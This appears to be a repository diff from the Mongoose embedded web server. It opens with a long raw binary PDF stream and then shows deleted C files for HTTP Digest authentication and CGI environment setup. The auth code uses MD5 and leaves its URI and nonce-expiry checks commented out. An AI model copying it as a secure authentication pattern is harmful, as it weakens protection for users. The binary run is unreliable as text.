[+ÜöÍI�ÒRá:Ñ:Í'ðOÐNwdøYLª‰T8Q-»“&?_†Î5Zå–66ÞÔ «×�­¦Æ™»š¢ûoú‹5ó‹òrC‘2¿¸aZú ÊüâcóÝ †6½K/´µ§$©–Ù;^õgIsJÕ+ÕÔ_¤Í/ED§™ˆ~Ôqö”Æ>³Ÿ;F$pJÜ0LãuYoü"IŠ4 ±iÝY"65<#n¦™+£V.hl% … ¹†Ÿ¨í6Ÿ5�ò¡–Ô³RI›ÈuÜ\Sæ-õîÕr5UH¼î¬Ó·K†­nÞ#¸$þØNý�†2Aòl…¶y 2‹Ã�äͺ’ÛºáOwó/­8qk$¯bZné“‘ùf›·>µaÞ™hƒ­ìoª›Åw„ ÙÊãCˆ½Ò<˪ߺ7¬úmüôJÒ+ª ±®~c?Pþä]–4PÜA²ç‘BwŠÉl½{LãºÈ`¯�/ÕÆß÷:}=š3eßÖ[?ô¼š’yw×0�æí.VÖ]S—¥.õ±¶{Þ|?®Ä®"æËOPtŸò¡ϵb:DÛq(qËãIƒú’!¬½ÂÞð$ë|eý)«~«ˆ\Ž í…S‹Þöví=:+_¿Ô*Ý…æîåõójµ‘Þ¹Câi -␍w4È×ñ�ÕêY‹c2³¢
›¸Æ<'}µæ™´F¹ºyµ†S~qŽ-–PÈ}I«âé®*™"‰u4-ûq’å)␍?Ñ2µ¿¦Çu¾3 ¶’~Jby«'‰¦ñyð¬L¡>îujM¨§ÍdkçDz´–Y�Î␍3�ÝMg¶ø8J¦¤èV<^Ôr6‹x q�Æ­'Üi&uœDà(­&}~lf*‡2␍…k”9‡¾ðÙ%y™Hn™dˆ.ÄAd!ùE©#ÜÛI".<A3’W%ô^-␍èkЪ„Þ;Îh)¤§›HdBQß,F¢+­ÒÒîÿ šH^rQ!+ÑÌå¸+)gJç£Ó�¦"ÿ¬GþÉì0ÌM¿%×Iº–~�*rsÜ“ú£h1šÙ½*ÙŠÔ”[ª€æü-¯‹¿´J(j ùTKt ¦ÃRå½°÷¹¿x¹)VÞé‡-{ì`‚ÛßD±ƒ—rÓûÞc‹¥Ú�6
¤PvòÚV«ÄÒô ‹SŽ�N_2y©s½Ç�ô[MÎßqtË,ìÈö¬Ý›�ÝÔàôpç¨0Üö7üÈßV•çGºòX{¸®mîn6qÞïäÉ.Ç·›²­Ñhl ×ñ´¸€Fxˆ>ÖÑYç0ð•W‡„ëå ßøhGÀ.'ã¤,­Pì ^ãÄ¥Þ3‘K«›ªÀ,Ý×ñ¢žV¹%û<D?3£Ôkõ[œäÆ?®üˆ˜³gJ�Hx/S˜)½fFŽÏÜöí ¤±7baå/SfµIåÙÚA`LgU S´wf>c_Ư;F†µ‰Mð÷ŠXïI˜A»Y±0A¶3P‹/ˆ$¼GäÜÞ�ÄYR=Xbï†Å¹îæsÎA‘FGQ¨ÉâçiôAg#–9?¦È�«›÷ Rž_ÒˆÙøh¡Ÿ÷¤]à›>9j„M,Q Mq8À³™4Ÿ½ñpFi`Â�}`O‹7>x¸Ì8µ‡â+¦nò†6±çÍf±¼{³²þVnç�»×»ý;rºEéiísae¡yßÑu"N'²7ó$7ŽS¦C,È␍�KŠœ_Q}®$È7qá–œia,S8ðá‘ÛÇÑÍøüM�߯G–XA´£Ï
y°˜9a¿Ð�;H›Ï;ùYÓAHÿ�‡X|ðÚbö˜5éjÎ}¨CGÔuÌXåLaêÇf¢=e°•=ß]#ߪχIòÍÔóчŸ±¥‡dÕÖ�Üco¿[y_¢ƒGw6¶ïyr8è kí]ÄU�¤³¼‚õ?«À,›¾lšÏÿÑOç wþφ.D·Éù©¯Á™óù?ú Cº*cè1šK௨2†ƒGó·TC�Áý·TC�ÑŒ�¿¢ÊzŒæãò>UÊ,b&Ž µË(³é¾™ùav ì;í.ó§• m§PIÚvecûÊðKÐÏ)ÊÚ@[Íbá/G$üixã°1ºhÞY}dm»¢tu㬪ï¬^L60^´í¬î¯ì›YŒ¿ZÅj^ �ðNYtb8"Áý$úFéÏ2ú3˜›Ô:Å&®ƒŽŽS�“ÑðÓ{„ñ39…ìÅtØØÆzïRß�| Ñ"Ú^œ}CqÜ,’øØt␍i¡÷âìû Þ®1â··yÇø/¯f<à}b�f$@wÌH@ÇæX‘ ´âÆ©�î©Ë¦Ø`O*üî´î<Ùbð"†�±ë®¬ jÚ v&†½sƒ žÝʽûrÕŸ¥␍|ì«w$λ�‡AÎðj@;„|–�Ô•␍x³': s¶�àã8UÑ9í@Úî¤4ða¯ Ú†‹ º5èêUEZX>?�C
4š‰6ž³ ›óº]ZéH <#ç␍Źæm␍¨Ê­Þ†4œ)Œcë¼=r¢o4šàùOÉdíz•­s9æ� /9W´ +þ¡g4@ïŸ<4mH{xÖ)èÁÔ_ºö²o9÷¡€Jîm”f�j|Í&€$;•””ZÚþT2Ñ ;Ò> %Ä@úc'lbJ <eZdPÚÃxa6Þ\\ °H³Ãg£�ØêmûÊ“ؘIáEº!}ù!çm¤uB]o¼�ÑøÎF�þÈX¤§b�¯ Èy‘¨V+Rß‹ñ‚ÉsZãQ:ö=²©�q2ƒ²½oì¨Ý##/ç”ë⥜�‹ƒñòRÎÇE‰çÆËK9%ã奜�‹’lvxx)ç㢌hǨºy)çã¢Ôü®^Êù¸(Œ·—r>.ÊN_÷ðRÎÇE‰Ã½¼”óqQjRÀÕK9%vtyy)º(KƱÒjD‘‡=ýR?�£ rº­¸pˆg)©•ºýB›º’Zq“ÔÒåŒnœeâøÆDøØ„å/›_#Áâ¯mG#ü¥ý½“Æiè`ðÇäVêVÑŽ©ÍooêûMñÉñÊ•÷×�gÓ¾¶‘_fR«mø�=J˜Ã.
#et”Ô;�bçøÄpì6DlÿIœ€©×¼d
Ðлµí¸¨[Ä È6;³wôÃnÕ£s÷>x´_J©žÀ¥Í ’ Eó™äÆŽË[²¯»»e´Ï‰rG»™õj¿eÞÉ„ÇËðèJ�¸H¶^’>:ýcñ�¤Dþa¢ä/␍Ñg¾eX!Êf³ð#‹ž7"ÿć??ØDôÁ¬gv•Q¥Óu侨ü‰ñ³û“ãS´MJ~…|½�ÿîuûP -ŽFJ§1IÃÞrEÐq²\³Ýé¶©¯–b£™ƒþÈx�>F’ú:Þ�ÅLf0Vº”¬|dZ͌ԕ~††b2‰hæ
÷?¬Mü»c½␍ôbXl5]ÊöÅžVTí')œúNh*’8êü”šr¯'÷‡ýábðá7à ¿ù݆ÿë×/ê‡GÍ
… ÍfX6­´ÞÓÃ?ý‘ø;
P/2péïŠ␍–‰L|ðî…��K«ÁåVgÿSCy¬4¥wÀ‚Dõ¥Q¦r]Ñ_¦iª5j…@ŠZ/ fô*ß
=ˆ6:ýÏaSHDJ@߇±)␍3Úóàxñ©á„£Ê÷ÀK¹øü¬­©Ã¨ØoEaIÁP†ÏÏeqïùùäOT/��w¸ns4V$x„¢Œºb¿)Á[¹ÿ!ËCý[”‹{²<jG? P?šãIÕß9žôñ¥†±¢ô{ +£ô{§«b6ÒÝ+ôèiPð§5Æ‹Îÿ›‡þ{Ú¡ÿþFC·ñp…Òdj±%7sÀd¥ï�šâŠ�*�)„"„Ÿ’2„®†#½Rj>£c¼G`<W·{õëvgX%úz áLÔѧòæ -FU{J‚ÉD×Á �çZuôù‡Žî¢�û_‘Æ‘n¦4|‚"ð»ÛO½­Ÿéø¿éwPH¬?%¶¼ ÛH°õm8.Äß;£tOTÀ Nw¥÷Q˜OTý¯ýHL9x\ó{Œ�c©\–fi. •k¢³ù'¹›«}�Ñó Eç Y¾0ÕèO7úßßeôLÂÿw ¶Ü•¤Î‡¹½æãà•Nkº±[+~“¡3# /LCõÿ‘åÞTtO*~ „™|¹ñCjަšþ‰ªßdø!Fß�•–¤È±Ù…÷¶Šßcäïbwè3ƒV»ª-ÿB<fàF�ï1æÅþzΛrWVÂϸZ훌ýÿ 1ö�ø!…¹©Ò÷w×%ô¯N¿%ÿ%õw§×ù�Ζqoä{`dJ%¿!ƒøµà9Tþ¯Æ€ÒùhOkå©u¿Çø‰d
=¬�Qº‹ö�§Sù­-|t¤C96lì=�ágTþ@ÁtÖŸQù{  �›Ê
P‡Ñ–Â
·¾6V#%íƒùÆ^{l¨␍|dL%,‘&4l‹0˜©ð`®þ=°0= aLa29×OÍg ³ïKèûEºo<Äàì£øïØ5©ÿæÊuc+~Vë.»(0‚’,wI£eu$µJzh‹Q_õÕ­–B4žˆÞßá�&ZAÛ.gðAåò‡FñŒ�ËçáKŽå…< _XF(Ð9øÂ±Y¾€Š°\–E_¸Ÿ‡7÷"jE´Añèýôë¾ý€g¿¢ =‰>½ÐÑV^^Fþa�bóL6ÊXŠçø\´‡æ¨<␍ß¹Oñy6e–b³O8ª�ã…èO(–ÏSͲø!ŸÍ1Q6W ¦ D9!Oq‚¡ �ÍASù,Eçi.ZFíó[à
Q.ÇRy€Í
T^(0Pˆ¥„‚ÀG"ÿpt�Êf6—‡Ö9š iŠaóЉ<OqLŽ�ÞB[úÊ1SÈsQ4¤<ô=Èá¾ T–Á␍Aï
lw¡ÀPÙ\�ƒž2€oÀ +(&‹ë(^ÈACP†§s¨¢@ñ|Žô½�….ó¨9Jàyh¿P XŽ#Oò,+␍�s9?É29 ‘£9J„â‡�‹.yð‡És6Àbhò�åáË1<d€„B?¤ó9xË0” à¾åaØÐ7Ž�Ö²y£±2Á!/h”Ų4OØ<‹G™ãsY\�a8T0 ÈÆ„a˜„ÐJzÁQ4OËÒ9W¥óƒŸ09¾0h6h¦·Šc(.Ï0ø!ôFÀ½/ð j>-ä4“òè<& $Ô5–bxÜ‹<U@tø@ºV€.ÁCANCTÉbÂã©|!žˆF8 ݼ �´žÐ@º‚ZL  |DQ™,‡‰€æ€Jñ€8
xª`FˆeTªbX@êËR4À |�ô�E† +‡(Œ#�ÐX�H1•«Ïh![ÀY 2í!‡šÇdS€ ;&p8Ä':eª%aHÇùÌ~ís!'^`xíaN@s�ª³h&á Ï`.»À¸·¤¨'Áp,Ð0�ˆ ðÇp<¡Xx›%sNg³¸M«b8ˆÃOX‹
 ¾@8Úç€W°˜aÙlŽÑQA‚**8qÀ½QžVñ�*r@ü9˜"¨™É":‚'<"
žÎŽƒ1S,šv1¢\ÞƒAó€*„ .‡Å�8Š/Øž�<Rq�`�<<ƒY"«·LÉñd9Ä@4<PLŽæ³ÚCŒ¦ˆá jƒHÚ ß„ïðÌ „Ñ<~X`°l¢á€ÑyD[èßO2ÕÔ@Ï@WEóÇSYÄýèIŽCüÍ"A�𓬾L¦
z] YDjhb�Ì"# W°î�.ä…l´IhX€¹Å¡Kˆ€ƒrY”åÆá f␍XµˆäÂiµc ¢N4£˜UŒ[ v˜;x“Í¡¶a`ìMråó�èˆL `µ$ˆÊy<¡Ù<Ï‚0F Að´cA€6–V@ˆP–QÅ? 2Ï¢‡0_…ª„V@B§ ;Zø<š‚ð<šß2Y/ù,"UXórˆ9&WPà‰wU!››È«
Ò®Ú ä]ÿ ê÷-tàþ¹ß—š#YI7ÇÊOE†‹Èqlà{XÍÿü§ùŸ&úýAßÔ¯Mý¡úã?ÿ!¡¢·4pÃpñ[¦j߯Xø+êø@µaáÌú2Ñjvú‹ôb$K‘Y*6Òtñ’‹´R,„A]3AJòX˜2 p²Œö�Ö;“M[]Ú³YÉŸRÍmqÎå8?Ì©+ÔÎ Ù,Y+X“çüÔ¢‚¶Š3Ù,‡¥h�æõ’°ÜódUa ºf€5E4 ,íA˜rÚC˸�ÿ•OW>ý¯3^Þ�ñ*D“á
˜âAÙÌÃ=,`␍!G–k¤ðå €íÄÁêŽõNPÅA‰Ã‰‘Ã!ÒÍñ¤"ÒAyb�v…€™!`%æ@�Å aí'Å
Ï`íÔwbX¢Æ²X%ÁöÒe
ЭCž€ºBt,Xþ¹\–<ÌaíW Vj␍t–h¿‚¦½ðH‚p¸[ 0¨ö“µ– ƒØoèùWkøÿ‡Öð¯.ð7DRÁG$�IS`±Ã,—í¹Ò
`˜‚}O@·/ /,
�@î6&O¼kDkyÁ"‹‚A¦tŽ2Ó3:‡í(d¯8bç rÐ6kün1�GV¿©�&+ôvŒ˜Z�<”Î QS;9
ôÖ¦þnù¥öH+¤wZkÇ>²æ¿2è_Í`6Ì1Þl¨:¹'ôrä[ÉÒ^jsŒÀƒ%›S™…¦ÑÂ
O²L6‡‹ C–ixHÃâMêbÿ-Ç/#zªOžpqç8ÂTð,/°,~Èc/,‡4oš¸òÄŒð»Ðìn€yÌ4 ‚äó¤^!'ÄÁaßS–bŽ%O˜|N÷=òÄW�” 4jìCC¥¸¬êõæ�Ä’NyZwG©YäMau‡”iÿêõÿ?Ð ˆ§á_bþ²‹÷³j.'dÊ”Bæ<ÇpÑ_Q>zÁ¦Dÿ4Ø Lžˆ2|–ø�ADW/ÇB�|?¤ób©ƒ,á�ŃKNó3 y¡àÿðê_öÿwñžšrÞ €(ŽÑö;²@Äê"ÍÇس4MižÉ9*‡¶…nÕb9UÓÄN-¼z�­îB/~ÿ’ïÿøêõïºõØVðf[÷ ^ßñž½üýç)–A¹B)þê?Ò,²Y9à^ø
|�Â’Óž¦!ޱ?|—•žul»úd ¸Öw¦'¦°…‚›¡¯÷Ìwÿ1¾è¯´¢¨Ã¤«¸ÛŒ©»»-¹!�á”�<~»À¨J
®Ñ‚j"øA+òON‹é9.EÈ©SÕ~ Ÿ9•F'±-Ÿ‹Òµ"vºèª�¡øSŠŠý¾<G
÷B§` �{¥(ÊAOP%½Âòrõ¬ùçÿÚ¶xÐ
endstream␍endobj␍6 0 obj␍[5 0 R]␍endobj␍20 0 obj␍<</CreationDate(D:20130102172747+01'00')/Creator(Adobe Illustrator CS6 \(Windows\))/ModDate(D:20130102172747Z)/Producer(Adobe PDF library 10.01)/Title(Mongoo 3 smooth green)>>␍endobj␍xref
0 21
0000000000 65535 f
0000000016 00000 n
0000000144 00000 n
0000016417 00000 n
0000000000 00000 f
0000018879 00000 n
0000062760 00000 n
0000016468 00000 n
0000016797 00000 n
0000019175 00000 n
0000019062 00000 n
0000018118 00000 n
0000018317 00000 n
0000018365 00000 n
0000018946 00000 n
0000018977 00000 n
0000019248 00000 n
0000019422 00000 n
0000020477 00000 n
0000039795 00000 n
0000062783 00000 n
trailer
<</Size 21/Root 1 0 R/Info 20 0 R/ID[<DAA7E1F6DAFF2748BD66B503D3959824><B0ED829296E5A049A6E2795E820EF1BF>]>>
startxref
62975
%%EOF
Binary file not shown.
Binary file not shown.

Before

Width:  |  Height:  |  Size: 560 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 669 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 743 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 872 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.5 KiB

-1
View File
@@ -1 +0,0 @@
100 ICON DISCARDABLE "systray.ico"
-301
View File
@@ -1,301 +0,0 @@
#include "internal.h"
// Stringify binary data. Output buffer must be twice as big as input,
// because each byte takes 2 bytes in string representation
static void bin2str(char *to, const unsigned char *p, size_t len) {
static const char *hex = "0123456789abcdef";
for (; len--; p++) {
*to++ = hex[p[0] >> 4];
*to++ = hex[p[0] & 0x0f];
}
*to = '\0';
}
// Return stringified MD5 hash for list of strings. Buffer must be 33 bytes.
char *mg_md5(char buf[33], ...) {
unsigned char hash[16];
const char *p;
va_list ap;
MD5_CTX ctx;
MD5Init(&ctx);
va_start(ap, buf);
while ((p = va_arg(ap, const char *)) != NULL) {
MD5Update(&ctx, (const unsigned char *) p, (unsigned) strlen(p));
}
va_end(ap);
MD5Final(hash, &ctx);
bin2str(buf, hash, sizeof(hash));
return buf;
}
// Check the user's password, return 1 if OK
static int check_password(const char *method, const char *ha1, const char *uri,
const char *nonce, const char *nc, const char *cnonce,
const char *qop, const char *response) {
char ha2[32 + 1], expected_response[32 + 1];
// Some of the parameters may be NULL
if (method == NULL || nonce == NULL || nc == NULL || cnonce == NULL ||
qop == NULL || response == NULL) {
return 0;
}
// NOTE(lsm): due to a bug in MSIE, we do not compare the URI
// TODO(lsm): check for authentication timeout
if (// strcmp(dig->uri, c->ouri) != 0 ||
strlen(response) != 32
// || now - strtoul(dig->nonce, NULL, 10) > 3600
) {
return 0;
}
mg_md5(ha2, method, ":", uri, NULL);
mg_md5(expected_response, ha1, ":", nonce, ":", nc,
":", cnonce, ":", qop, ":", ha2, NULL);
return mg_strcasecmp(response, expected_response) == 0;
}
// Use the global passwords file, if specified by auth_gpass option,
// or search for .htpasswd in the requested directory.
static FILE *open_auth_file(struct mg_connection *conn, const char *path) {
char name[PATH_MAX];
const char *p, *e, *gpass = conn->ctx->config[GLOBAL_PASSWORDS_FILE];
struct file file = STRUCT_FILE_INITIALIZER;
FILE *fp = NULL;
if (gpass != NULL) {
// Use global passwords file
fp = mg_fopen(gpass, "r");
// Important: using local struct file to test path for is_directory flag.
// If filep is used, mg_stat() makes it appear as if auth file was opened.
} else if (mg_stat(path, &file) && file.is_directory) {
mg_snprintf(name, sizeof(name), "%s%c%s",
path, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
} else {
// Try to find .htpasswd in requested directory.
for (p = path, e = p + strlen(p) - 1; e > p; e--)
if (e[0] == '/')
break;
mg_snprintf(name, sizeof(name), "%.*s%c%s",
(int) (e - p), p, '/', PASSWORDS_FILE_NAME);
fp = mg_fopen(name, "r");
}
return fp;
}
// Parsed Authorization header
struct ah {
char *user, *uri, *cnonce, *response, *qop, *nc, *nonce;
};
// Return 1 on success. Always initializes the ah structure.
static int parse_auth_header(struct mg_connection *conn, char *buf,
size_t buf_size, struct ah *ah) {
char *name, *value, *s;
const char *auth_header;
(void) memset(ah, 0, sizeof(*ah));
if ((auth_header = mg_get_header(conn, "Authorization")) == NULL ||
mg_strncasecmp(auth_header, "Digest ", 7) != 0) {
return 0;
}
// Make modifiable copy of the auth header
(void) mg_strlcpy(buf, auth_header + 7, buf_size);
s = buf;
// Parse authorization header
for (;;) {
// Gobble initial spaces
while (isspace(* (unsigned char *) s)) {
s++;
}
name = skip_quoted(&s, "=", " ", 0);
// Value is either quote-delimited, or ends at first comma or space.
if (s[0] == '\"') {
s++;
value = skip_quoted(&s, "\"", " ", '\\');
if (s[0] == ',') {
s++;
}
} else {
value = skip_quoted(&s, ", ", " ", 0); // IE uses commas, FF uses spaces
}
if (*name == '\0') {
break;
}
if (!strcmp(name, "username")) {
ah->user = value;
} else if (!strcmp(name, "cnonce")) {
ah->cnonce = value;
} else if (!strcmp(name, "response")) {
ah->response = value;
} else if (!strcmp(name, "uri")) {
ah->uri = value;
} else if (!strcmp(name, "qop")) {
ah->qop = value;
} else if (!strcmp(name, "nc")) {
ah->nc = value;
} else if (!strcmp(name, "nonce")) {
ah->nonce = value;
}
}
// CGI needs it as REMOTE_USER
if (ah->user != NULL) {
conn->request_info.remote_user = mg_strdup(ah->user);
} else {
return 0;
}
return 1;
}
// Authorize against the opened passwords file. Return 1 if authorized.
static int authorize(struct mg_connection *conn, FILE *fp) {
struct ah ah;
char line[256], f_user[256], ha1[256], f_domain[256], buf[MG_BUF_LEN];
if (!parse_auth_header(conn, buf, sizeof(buf), &ah)) {
return 0;
}
// Loop over passwords file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%s", f_user, f_domain, ha1) != 3) {
continue;
}
if (!strcmp(ah.user, f_user) &&
!strcmp(conn->ctx->config[AUTHENTICATION_DOMAIN], f_domain))
return check_password(conn->request_info.request_method, ha1, ah.uri,
ah.nonce, ah.nc, ah.cnonce, ah.qop, ah.response);
}
return 0;
}
// Return 1 if request is authorised, 0 otherwise.
static int check_authorization(struct mg_connection *conn, const char *path) {
char fname[PATH_MAX];
struct vec uri_vec, filename_vec;
const char *list;
FILE *fp = NULL;
int authorized = 1;
list = conn->ctx->config[PROTECT_URI];
while ((list = next_option(list, &uri_vec, &filename_vec)) != NULL) {
if (!memcmp(conn->request_info.uri, uri_vec.ptr, uri_vec.len)) {
mg_snprintf(fname, sizeof(fname), "%.*s",
(int) filename_vec.len, filename_vec.ptr);
fp = mg_fopen(fname, "r");
break;
}
}
if (fp == NULL) {
fp = open_auth_file(conn, path);
}
if (fp != NULL) {
authorized = authorize(conn, fp);
fclose(fp);
}
return authorized;
}
static void send_authorization_request(struct mg_connection *conn) {
conn->status_code = 401;
mg_printf(conn,
"HTTP/1.1 401 Unauthorized\r\n"
"Content-Length: 0\r\n"
"WWW-Authenticate: Digest qop=\"auth\", "
"realm=\"%s\", nonce=\"%lu\"\r\n\r\n",
conn->ctx->config[AUTHENTICATION_DOMAIN],
(unsigned long) time(NULL));
}
static int is_authorized_for_put(struct mg_connection *conn) {
const char *passfile = conn->ctx->config[PUT_DELETE_PASSWORDS_FILE];
FILE *fp;
int ret = 0;
if (passfile != NULL && (fp = mg_fopen(passfile, "r")) != NULL) {
ret = authorize(conn, fp);
fclose(fp);
}
return ret;
}
int mg_modify_passwords_file(const char *fname, const char *domain,
const char *user, const char *pass) {
int found;
char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
FILE *fp, *fp2;
found = 0;
fp = fp2 = NULL;
// Regard empty password as no password - remove user record.
if (pass != NULL && pass[0] == '\0') {
pass = NULL;
}
(void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
// Create the file if does not exist
if ((fp = fopen(fname, "a+")) != NULL) {
fclose(fp);
}
// Open the given file and temporary file
if ((fp = fopen(fname, "r")) == NULL) {
return 0;
} else if ((fp2 = fopen(tmp, "w+")) == NULL) {
fclose(fp);
return 0;
}
// Copy the stuff to temporary file
while (fgets(line, sizeof(line), fp) != NULL) {
if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
continue;
}
if (!strcmp(u, user) && !strcmp(d, domain)) {
found++;
if (pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
} else {
fprintf(fp2, "%s", line);
}
}
// If new user, just add it
if (!found && pass != NULL) {
mg_md5(ha1, user, ":", domain, ":", pass, NULL);
fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
}
// Close files
fclose(fp);
fclose(fp2);
// Put the temp file in place of real file
remove(fname);
rename(tmp, fname);
return 1;
}
-384
View File
@@ -1,384 +0,0 @@
#include "internal.h"
static int forward_body_data(struct mg_connection *conn, FILE *fp,
SOCKET sock, SSL *ssl) {
const char *expect, *body;
char buf[MG_BUF_LEN];
int nread, buffered_len, success = 0;
int64_t left;
expect = mg_get_header(conn, "Expect");
assert(fp != NULL);
if (conn->content_len == INT64_MAX) {
send_http_error(conn, 411, "Length Required", "%s", "");
} else if (expect != NULL && mg_strcasecmp(expect, "100-continue")) {
send_http_error(conn, 417, "Expectation Failed", "%s", "");
} else {
if (expect != NULL) {
(void) mg_printf(conn, "%s", "HTTP/1.1 100 Continue\r\n\r\n");
}
buffered_len = conn->data_len - conn->request_len;
body = conn->buf + conn->request_len;
assert(buffered_len >= 0);
if (buffered_len > 0) {
if ((int64_t) buffered_len > conn->content_len) {
buffered_len = (int) conn->content_len;
}
push(fp, sock, ssl, body, (int64_t) buffered_len);
memmove((char *) body, body + buffered_len, buffered_len);
conn->data_len -= buffered_len;
}
nread = 0;
while (conn->num_bytes_read < conn->content_len + conn->request_len) {
left = left_to_read(conn);
if (left > (int64_t) sizeof(buf)) {
left = sizeof(buf);
}
nread = pull(NULL, conn, buf, (int) left);
if (nread <= 0 || push(fp, sock, ssl, buf, nread) != nread) {
break;
}
}
if (left_to_read(conn) == 0) {
success = nread >= 0;
}
// Each error code path in this function must send an error
if (!success) {
send_http_error(conn, 577, http_500_error, "%s", "");
}
}
return success;
}
#if !defined(NO_CGI)
// This structure helps to create an environment for the spawned CGI program.
// Environment is an array of "VARIABLE=VALUE\0" ASCIIZ strings,
// last element must be NULL.
// However, on Windows there is a requirement that all these VARIABLE=VALUE\0
// strings must reside in a contiguous buffer. The end of the buffer is
// marked by two '\0' characters.
// We satisfy both worlds: we create an envp array (which is vars), all
// entries are actually pointers inside buf.
struct cgi_env_block {
struct mg_connection *conn;
char buf[CGI_ENVIRONMENT_SIZE]; // Environment buffer
int len; // Space taken
char *vars[MAX_CGI_ENVIR_VARS]; // char **envp
int nvars; // Number of variables
};
static char *addenv(struct cgi_env_block *block,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(2, 3);
// Append VARIABLE=VALUE\0 string to the buffer, and add a respective
// pointer into the vars array.
static char *addenv(struct cgi_env_block *block, const char *fmt, ...) {
int n, space;
char *added;
va_list ap;
// Calculate how much space is left in the buffer
space = sizeof(block->buf) - block->len - 2;
assert(space >= 0);
// Make a pointer to the free space int the buffer
added = block->buf + block->len;
// Copy VARIABLE=VALUE\0 string into the free space
va_start(ap, fmt);
n = mg_vsnprintf(added, (size_t) space, fmt, ap);
va_end(ap);
// Make sure we do not overflow buffer and the envp array
if (n > 0 && n + 1 < space &&
block->nvars < (int) ARRAY_SIZE(block->vars) - 2) {
// Append a pointer to the added string into the envp array
block->vars[block->nvars++] = added;
// Bump up used length counter. Include \0 terminator
block->len += n + 1;
} else {
cry(block->conn, "%s: CGI env buffer truncated for [%s]", __func__, fmt);
}
return added;
}
static void prepare_cgi_environment(struct mg_connection *conn,
const char *prog,
struct cgi_env_block *blk) {
const struct mg_request_info *ri = &conn->request_info;
const char *s, *slash;
struct vec var_vec;
char *p, src_addr[IP_ADDR_STR_LEN];
int i;
blk->len = blk->nvars = 0;
blk->conn = conn;
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
addenv(blk, "SERVER_NAME=%s", conn->ctx->config[AUTHENTICATION_DOMAIN]);
addenv(blk, "SERVER_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "DOCUMENT_ROOT=%s", conn->ctx->config[DOCUMENT_ROOT]);
addenv(blk, "SERVER_SOFTWARE=%s/%s", "Mongoose", mg_version());
// Prepare the environment block
addenv(blk, "%s", "GATEWAY_INTERFACE=CGI/1.1");
addenv(blk, "%s", "SERVER_PROTOCOL=HTTP/1.1");
addenv(blk, "%s", "REDIRECT_STATUS=200"); // For PHP
// TODO(lsm): fix this for IPv6 case
addenv(blk, "SERVER_PORT=%d", ntohs(conn->client.lsa.sin.sin_port));
addenv(blk, "REQUEST_METHOD=%s", ri->request_method);
addenv(blk, "REMOTE_ADDR=%s", src_addr);
addenv(blk, "REMOTE_PORT=%d", ri->remote_port);
addenv(blk, "REQUEST_URI=%s%s%s", ri->uri,
ri->query_string == NULL ? "" : "?",
ri->query_string == NULL ? "" : ri->query_string);
// SCRIPT_NAME
if (conn->path_info != NULL) {
addenv(blk, "SCRIPT_NAME=%.*s",
(int) (strlen(ri->uri) - strlen(conn->path_info)), ri->uri);
addenv(blk, "PATH_INFO=%s", conn->path_info);
} else {
s = strrchr(prog, '/');
slash = strrchr(ri->uri, '/');
addenv(blk, "SCRIPT_NAME=%.*s%s",
slash == NULL ? 0 : (int) (slash - ri->uri), ri->uri,
s == NULL ? prog : s);
}
addenv(blk, "SCRIPT_FILENAME=%s", prog);
addenv(blk, "PATH_TRANSLATED=%s", prog);
addenv(blk, "HTTPS=%s", conn->ssl == NULL ? "off" : "on");
if ((s = mg_get_header(conn, "Content-Type")) != NULL)
addenv(blk, "CONTENT_TYPE=%s", s);
if (ri->query_string != NULL) {
addenv(blk, "QUERY_STRING=%s", ri->query_string);
}
if ((s = mg_get_header(conn, "Content-Length")) != NULL)
addenv(blk, "CONTENT_LENGTH=%s", s);
if ((s = getenv("PATH")) != NULL)
addenv(blk, "PATH=%s", s);
#if defined(_WIN32)
if ((s = getenv("COMSPEC")) != NULL) {
addenv(blk, "COMSPEC=%s", s);
}
if ((s = getenv("SYSTEMROOT")) != NULL) {
addenv(blk, "SYSTEMROOT=%s", s);
}
if ((s = getenv("SystemDrive")) != NULL) {
addenv(blk, "SystemDrive=%s", s);
}
if ((s = getenv("ProgramFiles")) != NULL) {
addenv(blk, "ProgramFiles=%s", s);
}
if ((s = getenv("ProgramFiles(x86)")) != NULL) {
addenv(blk, "ProgramFiles(x86)=%s", s);
}
if ((s = getenv("CommonProgramFiles(x86)")) != NULL) {
addenv(blk, "CommonProgramFiles(x86)=%s", s);
}
#else
if ((s = getenv("LD_LIBRARY_PATH")) != NULL)
addenv(blk, "LD_LIBRARY_PATH=%s", s);
#endif // _WIN32
if ((s = getenv("PERLLIB")) != NULL)
addenv(blk, "PERLLIB=%s", s);
if (ri->remote_user != NULL) {
addenv(blk, "REMOTE_USER=%s", ri->remote_user);
addenv(blk, "%s", "AUTH_TYPE=Digest");
}
// Add all headers as HTTP_* variables
for (i = 0; i < ri->num_headers; i++) {
p = addenv(blk, "HTTP_%s=%s",
ri->http_headers[i].name, ri->http_headers[i].value);
// Convert variable name into uppercase, and change - to _
for (; *p != '=' && *p != '\0'; p++) {
if (*p == '-')
*p = '_';
*p = (char) toupper(* (unsigned char *) p);
}
}
// Add user-specified variables
s = conn->ctx->config[CGI_ENVIRONMENT];
while ((s = next_option(s, &var_vec, NULL)) != NULL) {
addenv(blk, "%.*s", (int) var_vec.len, var_vec.ptr);
}
blk->vars[blk->nvars++] = NULL;
blk->buf[blk->len++] = '\0';
assert(blk->nvars < (int) ARRAY_SIZE(blk->vars));
assert(blk->len > 0);
assert(blk->len < (int) sizeof(blk->buf));
}
static void handle_cgi_request(struct mg_connection *conn, const char *prog) {
int headers_len, data_len, i, fdin[2] = {-1, -1}, fdout[2] = {-1, -1};
const char *status, *status_text;
